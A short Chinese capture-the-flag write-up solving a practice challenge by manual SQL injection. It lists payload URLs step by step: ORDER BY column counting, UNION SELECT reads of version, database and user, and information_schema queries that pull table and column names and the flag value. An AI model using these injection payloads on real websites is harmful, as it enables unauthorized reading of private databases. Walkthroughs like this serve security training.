题目链接:http://ctf5.shiyanbar.com/8/index.php?id=1
这个看起来很简单
看到链接,猜猜是不是sql注入。
0x01 手工注入
- 先改id的值看看
http://ctf5.shiyanbar.com/8/index.php?id=1
http://ctf5.shiyanbar.com/8/index.php?id=2
2. 发现可行,试试order by爆字段。
http://ctf5.shiyanbar.com/8/index.php?id=2 order by 2%23
http://ctf5.shiyanbar.com/8/index.php?id=2 order by 3%23
3. 得到字段数为2,继续进行联合注入
http://ctf5.shiyanbar.com/8/index.php?id=-1 union select 1,2
4. 在第二个字段可以尝试添加sql语句。
http://ctf5.shiyanbar.com/8/index.php?id=-1%20union%20select%201,version()
http://ctf5.shiyanbar.com/8/index.php?id=-1%20union%20select%201,database()
http://ctf5.shiyanbar.com/8/index.php?id=-1%20union%20select%201,user()
5. 在版本大于5的mysql数据库中,有个information_schema表,存了数据库中所有的信息,可以用来爆我们需要的信息。
由于我们之前已经知道了数据库的名字,可以直接爆表。
http://ctf5.shiyanbar.com/8/index.php?id='-1 'union select 1,group_concat(table_name) from information_schema.tables where table_schema='my_db'%23
6. 爆列名
http://ctf5.shiyanbar.com/8/index.php?id=’-1 'union select 1,group_concat(column_name) from information_schema.columns where table_name=‘thiskey’%23
7. 爆列中的内容
http://ctf5.shiyanbar.com/8/index.php?id='-1 'union select 1,k0y from thiskey
得到flag。